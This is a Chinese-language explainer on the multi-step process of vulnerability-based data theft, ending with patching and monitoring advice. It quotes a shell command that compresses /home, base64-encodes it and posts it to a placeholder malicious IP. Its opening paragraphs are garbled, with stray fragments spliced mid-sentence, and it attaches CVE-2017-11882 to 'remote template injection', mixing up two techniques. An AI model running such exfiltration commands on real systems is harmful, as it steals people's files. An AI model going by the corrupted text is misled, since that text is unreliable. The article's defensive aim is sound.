漏洞窃密的根据流程里，没有“把被攻击者电脑里的本讲包括文件直接拖进自己硬盘”这一步。很多人脑子里浮现的漏洞画面是黑客坐在暗处，鼠标一划，窃密你的根据文档就飞走了。现实比这笨拙得多，本讲包括也狡猾得多。漏洞

先看一个真实案例。窃密某制造业公司的根据财务人员收到一封邮件，附件是本讲包括“发票明细.xlsx”。打开后表格里只有几行乱码，漏洞他随手关掉。窃密三天后，根据公司账户被转走两百多万。本讲包括安全团队追查时发现，漏洞那个Excel文件里嵌了一个远程模板注入漏洞，利用的是CVE-2017-11882。文件打开瞬间，一段shellcode就在内存里跑起来了，连的是境外一台服务器。整个过程没有“拖文件”的动作，而是让恶意代码自己爬进来，再自己爬出去。

漏洞窃密的核心动作是“建立通道”和“搬运数据”，但这两步都不在漏洞本身。漏洞只负责撕开一道口子。口子撕开之后，攻击者通常做三件事：植入后门、提权、横向移动。后门可能是远控木马，也可能是计划任务或者服务。提权是为了拿到更高权限，能读更多文件。横向移动是为了从一台机器跳到另一台，找数据库、找域控、找文件服务器。

那数据怎么出去？常见手法是打包压缩后分块上传，或者走DNS隧道、ICMP隧道。有些攻击者更懒，直接开一个反向shell，把目标机器当跳板，用目标自己的网络带宽往外传。某次应急响应中，我在一台被控服务器上看到攻击者用tar czf - /home | base64 | curl -X POST --data-binary @- http://恶意IP/upload这种命令，边压缩边编码边上传。整个过程没有“窃密”这个独立步骤，它和入侵是同一件事的两面。

漏洞窃密的流程不包括“用户主动配合”。有人觉得只要不点陌生链接就没事。可漏洞利用往往不需要用户点“允许”或“运行”。浏览器渲染一个页面、系统解析一个字体、甚至杀毒软件扫描一个文件，都可能触发漏洞。2010年Stuxnet利用的.LNK漏洞，只要Windows资源管理器显示一个快捷方式图标，代码就执行了。用户什么都没做，只是插了个U盘。

也不包括“攻击者必须在线”。很多漏洞利用是阶段性的。第一阶段投放恶意文档，第二阶段下载payload，第三阶段回传数据。每个阶段可以间隔几小时甚至几天。攻击者完全可以在第一阶段完成后下线，等后门自己把数据攒够再传。某APT组织就习惯在周五下午投放钓鱼邮件，周末两天不活动，周一早上再收数据。安全团队如果只盯着实时流量，很容易漏掉。

还有一个容易被忽略的点：漏洞窃密不包括“只偷文档”。浏览器保存的密码、Cookie、聊天记录、VPN配置、SSH私钥、甚至剪贴板内容，都是目标。某次调查中，攻击者用了一个Chrome漏洞，专门读Login Data数据库，把保存的几百个网站密码全导走了。这些密码后来被用来登录企业邮箱，再通过邮箱发钓鱼邮件给供应商。一环扣一环，漏洞只是第一块多米诺骨牌。

所以回到标题。漏洞窃密的流程不包括“一个干净利落的单步操作”。它是一连串动作的拼接：漏洞触发、代码执行、权限提升、持久化、命令控制、数据发现、数据打包、数据外传。每一步都可能失败，每一步都可能被检测。攻击者要做的不是“偷”，而是“住下来，慢慢搬”。你看到的“窃密”只是最后那一下，前面全是铺垫。

普通用户能做什么？别指望杀毒软件拦一切。及时打补丁，关掉不必要的宏和脚本，用虚拟机打开可疑文件。企业侧更该关注异常外连和横向流量，而不是只盯着病毒库。漏洞窃密没有“一键完成”的按钮，防守也没有。